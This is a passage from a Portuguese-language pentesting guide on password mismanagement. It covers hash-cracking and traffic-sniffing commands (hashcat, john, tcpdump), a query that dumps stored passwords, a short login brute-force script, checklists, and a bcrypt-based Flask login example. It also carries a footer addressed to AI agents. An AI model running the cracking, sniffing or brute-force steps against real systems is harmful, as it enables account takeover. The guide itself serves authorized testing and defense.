                "Usar bcrypt ou Argon2 para hashing de senhas",
                "Implementar políticas de senha robustas",
                "Adicionar rate limiting no login",
                "Usar mensagens de erro genéricas",
                "Implementar monitoramento de tentativas de login"
            ]
        }

# Uso
if __name__ == "__main__":
    scanner = PasswordSecurityScanner('https://target.com')
    scanner.test_password_transmission()
    scanner.test_password_policies()
    scanner.test_error_messages()
    scanner.test_rate_limiting()
    
    report = scanner.generate_report()
    print(f"Encontradas {report['vulnerabilities_found']} vulnerabilidades")
    for vuln in report['details']:
        print(f"- {vuln['type']}: {vuln['description']}")
```

#### 2. Ferramentas Especializadas

```bash
# Hash cracking
hashcat -m 0 -a 0 hashes.txt rockyou.txt
john --format=raw-md5 hashes.txt

# Network sniffing
tcpdump -i any -A 'tcp port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'

# SSL/TLS testing
testssl.sh https://target.com
sslscan target.com

# Password policy testing
cewl https://target.com -m 6 -w wordlist.txt
```

### Testes Manuais

#### 1. Análise de Hash no Banco

```sql
-- Verificar hashes no banco (se possível)
SELECT username, password FROM users LIMIT 5;

-- Analisar padrões de hash
-- MD5: 32 caracteres hexadecimais
-- SHA1: 40 caracteres hexadecimais  
-- Bcrypt: Começa com $2a$, $2b$, etc.
```

#### 2. Teste de Força Bruta Controlado

```python
# Script para teste de força bruta ético
def ethical_brute_force_test(target_url, test_account):
    """Testar resistência a força bruta (apenas em ambiente autorizado)"""
    
    passwords_to_test = [
        '123456', 'password', '12345678', 'qwerty',
        '123456789', '12345', '1234', '111111'
    ]
    
    for password in passwords_to_test:
        response = requests.post(
            f"{target_url}/login",
            data={
                'username': test_account,
                'password': password
            }
        )
        
        if response.status_code == 200 and 'dashboard' in response.url:
            print(f"⚠️  Senha fraca funcionou: {password}")
            return password
    
    print("✅ Nenhuma senha fraca funcionou")
    return None
```

## 📋 Checklists de Segurança

### Checklist de Prevenção de Password Mismanagement

* [ ] **Armazenamento Seguro**
  * [ ] Usar bcrypt ou Argon2 para hashing
  * [ ] Implementar salt único por senha
  * [ ] Nunca armazenar senhas em texto puro
  * [ ] Validar força de hashes existentes
* [ ] **Transmissão Segura**
  * [ ] Forçar HTTPS em todas as páginas de login
  * [ ] Implementar HSTS header
  * [ ] Nunca transmitir senhas via GET parameters
  * [ ] Sanitizar senhas em logs e debug output
* [ ] **Políticas Robustas**
  * [ ] Exigir senhas com mínimo 12 caracteres
  * [ ] Implementar verificação de senhas com zxcvbn
  * [ ] Bloquear senhas de breaches conhecidas
  * [ ] Educar usuários sobre senhas seguras
* [ ] **Proteção Contra Ataques**
  * [ ] Implementar rate limiting no login
  * [ ] Usar CAPTCHA após múltiplas falhas
  * [ ] Monitorar tentativas de login suspeitas
  * [ ] Implementar lockout de conta temporário

### Checklist de Auditoria

* [ ] **Teste de Armazenamento**
  * [ ] Verificar algoritmo de hashing usado
  * [ ] Testar se salts são únicos
  * [ ] Verificar custo computacional do hashing
  * [ ] Testar resistência a rainbow tables
* [ ] **Teste de Transmissão**
  * [ ] Verificar se HTTPS é obrigatório
  * [ ] Testar se senhas aparecem em URLs
  * [ ] Verificar headers de segurança
  * [ ] Testar sanitização de logs
* [ ] **Teste de Políticas**
  * [ ] Verificar comprimento mínimo de senha
  * [ ] Testar aceitação de senhas comuns
  * [ ] Verificar mensagens de erro
  * [ ] Testar rate limiting

### Checklist de Resposta a Incidentes

* [ ] **Detecção**
  * [ ] Monitorar múltiplas falhas de login
  * [ ] Detectar padrões de credential stuffing
  * [ ] Alertar para acesso de locais incomuns
  * [ ] Monitorar queries suspeitas ao banco
* [ ] **Contenção**
  * [ ] Forçar reset de senhas comprometidas
  * [ ] Bloquear IPs maliciosos
  * [ ] Revogar sessões ativas
  * [ ] Implementar verificação adicional
* [ ] **Correção**
  * [ ] Atualizar algoritmo de hashing se necessário
  * [ ] Implementar políticas mais rigorosas
  * [ ] Melhorar monitoramento e alertas
  * [ ] Educar usuários sobre segurança

## 📊 Exemplos de Implementação Segura

### Sistema Completo de Autenticação Segura

```python
from flask import Flask, request, jsonify, session
import bcrypt
import secrets
from datetime import datetime, timedelta
import re

app = Flask(__name__)
app.secret_key = 'your-secret-key-here'

class SecureAuthSystem:
    def __init__(self):
        self.failed_attempts = {}
        self.max_attempts = 5
        self.lockout_duration = timedelta(minutes=30)
    
    def register_user(self, username, password, email):
        """Registrar novo usuário com segurança"""
        
        # Validar política de senha
        policy_result = self.validate_password_policy(password)
        if not policy_result['valid']:
            return {
                'success': False,
                'errors': policy_result['errors']
            }
        
        # Verificar se senha está em breach conhecida
        if self.is_breached_password(password):
            return {
                'success': False,
                'errors': ['Esta senha foi exposta em vazamentos de dados. Escolha uma senha diferente.']
            }
        
        # Criar hash seguro
        password_hash = self.hash_password(password)
        
        # Armazenar usuário (em produção, usar banco de dados)
        user_data = {
            'username': username,
            'email': email,
            'password_hash': password_hash,
            'created_at': datetime.utcnow(),
            'failed_attempts': 0,
            'locked_until': None
        }
        
        return {
            'success': True,
            'user': user_data
        }
    
    def authenticate_user(self, username, password, ip_address):
        """Autenticar usuário com segurança"""
        
        # Verificar se conta está bloqueada
        if self.is_account_locked(username):
            return {
                'success': False,
                'error': 'Conta temporariamente bloqueada devido a múltiplas tentativas falhas.'
            }
        
        # Buscar usuário (em produção, buscar do banco)
        user = self.get_user_by_username(username)
        if not user:
            # Mensagem genérica para não revelar se usuário existe
            self.record_failed_attempt(username, ip_address)
            return {
                'success': False,
                'error': 'Credenciais inválidas'
            }
        
        # Verificar senha
        if not self.verify_password(password, user['password_hash']):
            self.record_failed_attempt(username, ip_address)
            return {
                'success': False,
                'error': 'Credenciais inválidas'
            }
        
        # Resetar contador de tentativas falhas
        self.reset_failed_attempts(username)
        
        # Atualizar último login
        user['last_login'] = datetime.utcnow()
        
        return {
            'success': True,
            'user': user
        }
    
    def hash_password(self, password):
        """Criar hash seguro com bcrypt"""
        salt = bcrypt.gensalt(rounds=12)
        return bcrypt.hashpw(password.encode('utf-8'), salt).decode('utf-8')
    
    def verify_password(self, password, password_hash):
        """Verificar senha"""
        return bcrypt.checkpw(password.encode('utf-8'), password_hash.encode('utf-8'))
    
    def validate_password_policy(self, password):
        """Validar senha contra políticas"""
        errors = []
        
        if len(password) < 12:
            errors.append('A senha deve ter pelo menos 12 caracteres')
        
        if not re.search(r'[A-Z]', password):
            errors.append('A senha deve conter pelo menos uma letra maiúscula')
        
        if not re.search(r'[a-z]', password):
            errors.append('A senha deve conter pelo menos uma letra minúscula')
        
        if not re.search(r'[0-9]', password):
            errors.append('A senha deve conter pelo menos um número')
        
        if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
            errors.append('A senha deve conter pelo menos um caractere especial')
        
        # Verificar senhas comuns
        common_passwords = {'123456', 'password', '123456789', 'senha123'}
        if password.lower() in common_passwords:
            errors.append('Esta senha é muito comum')
        
        return {
            'valid': len(errors) == 0,
            'errors': errors
        }
    
    def is_breached_password(self, password):
        """Verificar se senha está em breaches conhecidas"""
        # Em produção, usar API como Have I Been Pwned
        breached_hashes = {
            # Hashes de senhas comuns comprometidas
            '5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8',  # password
            '5989aab1940e721a6bffba2bf0d679c7c4c4568b3d3012eddb8af294eb17c60c',  # senha123
        }
        
        import hashlib
        password_hash = hashlib.sha256(password.encode()).hexdigest()
        return password_hash in breached_hashes
    
    def is_account_locked(self, username):
        """Verificar se conta está bloqueada"""
        user = self.get_user_by_username(username)
        if not user:
            return False
        
        if user.get('locked_until'):
            if datetime.utcnow() < user['locked_until']:
                return True
            else:
                # Desbloquear conta se o tempo passou
                user['locked_until'] = None
                user['failed_attempts'] = 0
        
        return False
    
    def record_failed_attempt(self, username, ip_address):
        """Registrar tentativa falha"""
        user = self.get_user_by_username(username)
        if user:
            user['failed_attempts'] = user.get('failed_attempts', 0) + 1
            
            # Bloquear conta se exceder tentativas
            if user['failed_attempts'] >= self.max_attempts:
                user['locked_until'] = datetime.utcnow() + self.lockout_duration
    
    def reset_failed_attempts(self, username):
        """Resetar contador de tentativas falhas"""
        user = self.get_user_by_username(username)
        if user:
            user['failed_attempts'] = 0
            user['locked_until'] = None
    
    def get_user_by_username(self, username):
        """Buscar usuário por username (em produção, buscar do banco)"""
        # Implementação simulada
        return None

# Uso
auth_system = SecureAuthSystem()

@app.route('/register', methods=['POST'])
def register():
    data = request.json
    result = auth_system.register_user(
        data['username'],
        data['password'],
        data['email']
    )
    
    return jsonify(result)

@app.route('/login', methods=['POST'])
def login():
    data = request.json
    ip_address = request.remote_addr
    
    result = auth_system.authenticate_user(
        data['username'],
        data['password'],
        ip_address
    )
    
    return jsonify(result)
```

## ⚠️ Considerações Finais

### Mitos Comuns sobre Gerenciamento de Senhas

* ❌ "Base64 é seguro para armazenar senhas" → **FALSO** (é apenas encoding, não encryption)
* ❌ "SHA256 é suficiente para hashing" → **FALSO** (é rápido demais para senhas)
* ❌ "Complexidade obrigatória garante segurança" → **FALSO** (comprimento é mais importante)
* ❌ "Rate limiting resolve todos os problemas" → **FALSO** (não protege contra credential stuffing com delays)

### Boas Práticas Essenciais

1. **Hashing Lento**: Usar bcrypt ou Argon2 com custo adequado
2. **Salt Único**: Gerar salt único para cada senha
3. **HTTPS Obrigatório**: Nunca transmitir senhas via HTTP
4. **Políticas Inteligentes**: Focar em comprimento em vez de complexidade forçada
5. **Monitoramento Proativo**: Detectar padrões de ataque em tempo real
6. **Educação Contínua**: Ensinar usuários sobre senhas seguras

### Referências e Padrões

* OWASP Password Storage Cheat Sheet
* NIST Digital Identity Guidelines
* Bcrypt & Argon2 Specifications
* Have I Been Pwned API

**🔐 Lembre-se**: O gerenciamento adequado de senhas é a fundação da segurança de qualquer sistema. Implemente práticas robustas desde o design do sistema e mantenha auditorias regulares para garantir a proteção contínua das credenciais dos usuários.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/back-end/autenticacao/password-mismanagement.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
